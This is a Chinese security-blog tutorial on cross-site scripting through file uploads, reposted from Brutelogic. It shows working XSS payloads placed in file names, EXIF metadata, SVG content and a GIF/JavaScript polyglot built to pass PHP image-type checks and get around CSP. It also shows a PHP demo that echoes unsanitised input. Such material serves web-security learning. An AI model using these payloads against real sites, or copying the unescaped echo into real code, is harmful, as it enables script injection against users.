XSS姿势-文件上传XSS

2018/11/19 安全 xss 4708 words views

早上在 wooyun 知识库看了一篇关于 XSS 文章,感觉写得真不错,在这里整理记录一下。

来自:
原文: http://brutelogic.com.br/blog/file-upload-xss/
Wooyun: http://wooyun.jozxing.cc/static/drops/tips-14915.html
Freebuf: https://www.freebuf.com/articles/web/101843.html

0x01 简单介绍

一个文件上传点是执行XSS应用程序的绝佳机会。很多网站都有用户权限上传个人资料图片的上传点,你有很多机会找到相关漏洞。如果碰巧是一个self XSS,你可以看看这篇文章。

0x02 实例分析

姿势一:文件名方式

文件名本身可能会反映在页面所以一个带有XSS命名的文件便可以起到攻击作用。

demo

"><img src=x onerror=alert(document.domain)>.gif
<!DOCTYPE html>
<html>
<body>

Select a file to upload:
<input type="file" id="myFile" size="50">

<p>Click the button below do the display the file path of the file upload button above (you must select a file first).</p>

<button type="button" onclick="myFunction()">Try it</button>

<p id="demo"></p>

<script>
function myFunction() {
    var x = document.getElementById("myFile").value;
    document.getElementById("demo").innerHTML = x;
}
</script>

</body>
</html>

以上例子可以在 W3Schools 实践成功。

姿势二:Metadata

使用exiftool这个工具可以通过改变EXIF metadata进而一定几率引起某处反射:

$ exiftool -field = XSS FILE

例如:

$ exiftool -Artist=' “><img src=1 onerror=alert(document.domain)>' 1.jpg
$ exiftool 1.jpg
ExifTool Version Number         : 11.19
File Name                       : 1.jpg
Directory                       : .
File Size                       : 64 kB
File Modification Date/Time     : 2018:11:19 08:57:09+08:00
File Access Date/Time           : 2018:11:19 08:57:10+08:00
File Inode Change Date/Time     : 2018:11:19 08:57:09+08:00
File Permissions                : rwxr-xr-x
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Artist                          :  “><img src=1 onerror=alert(document.domain)>
Y Cb Cr Positioning             : Centered
Exif Version                    : 0221
Components Configuration        : Y, Cb, Cr, -
Flashpix Version                : 0100
Color Space                     : sRGB
Exif Image Width                : 690
Exif Image Height               : 920
Scene Capture Type              : Standard
Compression                     : JPEG (old-style)
Thumbnail Offset                : 376
Thumbnail Length                : 12014
Current IPTC Digest             : d41d8cd98f00b204e9800998ecf8427e
IPTC Digest                     : d41d8cd98f00b204e9800998ecf8427e
Image Width                     : 690
Image Height                    : 920
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 690x920
Megapixels                      : 0.635
Thumbnail Image                 : (Binary data 12014 bytes, use -b option to extract)

demo

<?php
echo "1.jpg:<br />\n";
$exif = exif_read_data('1.jpg', 'IFD0');
echo $exif===false ? "No header data found.<br />\n" : "Image contains headers<br />\n";

$exif = exif_read_data('1.jpg', 0, true);
echo "1.jpg:<br />\n";
foreach ($exif as $key => $section) {
    foreach ($section as $name => $val) {
        echo "$key.$name: $val<br />\n";
    }
}
?>

姿势三:Content

如果应用允许上传 SVG 格式的文件(其实就是一个图像类型的),那么带有以下 content 的文件可以被用来触发XSS:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

demo

一个 PoC用来验证。你可以通过访问 brutelogic.com.br/poc.svg 看到效果。

姿势四:Source

我们可以很容易的创建一张包含 javascript payload 的 GIF 图片,然后将这张图片当做源码加以引用。如果我们可以成功的注入相同的域名,如下所示,则这样可以有效的帮我们绕过 CSP(内容安全策略)防护(其不允许执行例如<script>alert(1)</script>

创建这样一张图片可以使用如下内容并将文件命名为 .gif 后缀:

GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

GIF 文件标识 GIF89a 做为一个 javascript 的变量分配给 alert 函数。中间注释部分的 XSS 是为了以防图像被检索为 text/HTML MIME 类型时,通过请求文件来执行 payload。

<?php
	if(exif_imagetype('xss.gif') == IMAGETYPE_GIF){
		echo "The picture is a gif.";
	}
	print_r(getimagesize('xss.gif'));
?>
/*
输出
The picture is a gif.Array
(
    [0] => 10799
    [1] => 29500
    [2] => 1
    [3] => width="10799" height="29500"
    [channels] => 3
    [mime] => image/gif
)
*/

demo

$ touch xss.gif
$ cat xss.gif
$ vim xss.gif
$ cat xss.gif
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
<?php echo $_GET['p'];?>

我们通过下图可以发现,类 UNIX 命令的 PHP 函数 exif_imagetype() 和 getimagesize() 都会将这个文件识别为 GIF 文件。而一般的 Web 应用都是使用这些函数来验证图像类型的,所以这样一个文件是可以被上传的(但上传后可能会被杀毒软件查杀)。

上面的例子在最近的 chrome、firefox 均上失败,应该是被浏览器识别出来了。

0x03 最后

更多可以用作 javascript 变量赋值的 ASCII 文件类型标识符,请参见这里

更多关于文件上传 XSS 的详尽示例,包括绕过像 GD 库等过滤的例子,请参见这里


上一篇: XSS 学习
下一篇: Bugku writeup(代码审计)

Search

    Table of Contents